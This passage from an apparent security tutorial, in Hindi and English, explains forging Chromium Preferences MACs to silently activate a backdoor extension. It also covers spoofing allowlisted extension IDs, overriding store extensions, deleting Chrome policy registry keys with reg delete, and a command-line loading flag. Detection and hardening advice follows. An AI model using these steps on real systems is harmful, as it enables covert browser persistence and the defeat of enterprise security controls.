> - MACs की गणना करते समय Chromium जो JSON serialization उपयोग करता है वही बिल्कुल उपयोग करें (compact JSON बिना whitespace व्यवहार में सुरक्षित है; ordering समस्याओं से बचने के लिए keys को sort करना मददगार हो सकता है)।
> - सुनिश्चित करें extensions.ui.developer_mode मौजूद है और Chromium ≥134 पर signed है, वरना आपका unpacked entry सक्रिय नहीं होगा।
## एंड‑टू‑एंड साइलेंट लोड फ्लो (Windows)
1) एक deterministic ID जनरेट करें और manifest.json में "key" एम्बेड करें; इच्छित permissions के साथ एक unpacked MV3 extension तैयार करें (service worker/content scripts)
2) manifest और Chromium के लिए आवश्यक न्यूनतम install metadata (state, unpacked का path, आदि) को एम्बेड करके extensions.settings.<id> बनाएं।
3) resources.pak (file 146) से HMAC seed निकालें और दो MACs compute करें: एक settings node के लिए और एक extensions.ui.developer_mode के लिए (Chromium ≥134)
4) तैयार किए गए nodes और MACs को target profile की Preferences/Secure Preferences में लिखें; अगली बार launch पर आपका extension पूर्ण घोषित privileges के साथ autoactivate हो जाएगा।
## Bypassing enterprise controls
- Whitelisted extension hash spoofing (ID spoofing)
1) एक allowed Web Store extension install करें और उसकी ID नोट करें
2) उसका public key प्राप्त करें (उदाहरण के लिए chrome.runtime.getManifest().key से background/service worker में या उसकी .crx को fetch/parse करके)
3) उसी key को अपने modified extension में manifest.key के रूप में सेट करें ताकि वही ID पुन: उत्पन्न हो
4) Preferences में entry register करें और MACs को sign करें → ExtensionInstallAllowlist जो केवल ID पर match करता है, उसे बाइपास किया जा सकता है
- Extension stomping (ID collision precedence)
- यदि किसी local unpacked extension का ID किसी installed Web Store extension के साथ मिलता है, तो Chromium unpacked one को प्राथमिकता देता है। यह प्रभावी रूप से chrome://extensions में वैध extension को प्रतिस्थापित कर देता है जबकि trusted ID को संरक्षित रखता है। Chrome और Edge पर सत्यापित (उदा., Adobe PDF)
- Neutralizing GPO via HKCU (requires admin)
- Chrome/Edge policies HKCU\Software\Policies\* के अंतर्गत रहती हैं
- Admin अधिकारों के साथ, अपने entries लिखने से पहले policy keys को delete/modify करें ताकि blocks से बचा जा सके:
```powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
```
## शोर-भरा फॉलबैक: कमांड-लाइन लोडिंग
Chromium ≥137 से, --load-extension के साथ निम्न भी पास करना आवश्यक है:
```text
--disable-features=DisableLoadExtensionCommandLineSwitch
```
यह तरीका व्यापक रूप से जाना और मॉनिटर किया जाता है (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.
Related flags and more crossplatform tricks are discussed here:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
{{#endref}}
## ऑपरेशनल प्रभाव
एक बार स्वीकार होने पर, extension अपने घोषित permissions के साथ चलता है, जिससे DOM access, request interception/redirects, cookie/storage access, और screenshot capture सक्षम होते हैं — प्रभावी रूप से inbrowser code execution और durable userprofile persistence। Remote deployment SMB या अन्य चैनलों पर सीधा है क्योंकि activation Preferences के माध्यम से datadriven होता है।
## पहचान और hardening
- Preferences/Secure Preferences में लिख रहे nonChromium processes के लिए मॉनिटर करें, विशेषकर extensions.settings के नीचे नए nodes जो protection.macs entries के साथ जोड़े गए हों
- extensions.ui.developer_mode के अनपेक्षित toggling पर और HMACvalid लेकिन अप्रूव्ड न किए गए extension entries पर alert करें
- HKCU/HKLM Software\Policies में किसी भी tampering के लिए audit करें; policies को device management/Chrome Browser Cloud Management के माध्यम से लागू करें
- store से verified publishers वाले forcedinstall को तरजीह दें बजाय उन allowlists के जो केवल extension ID से मेल खाते हैं
## संदर्भ
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
{{#include ../../banners/hacktricks-training.md}}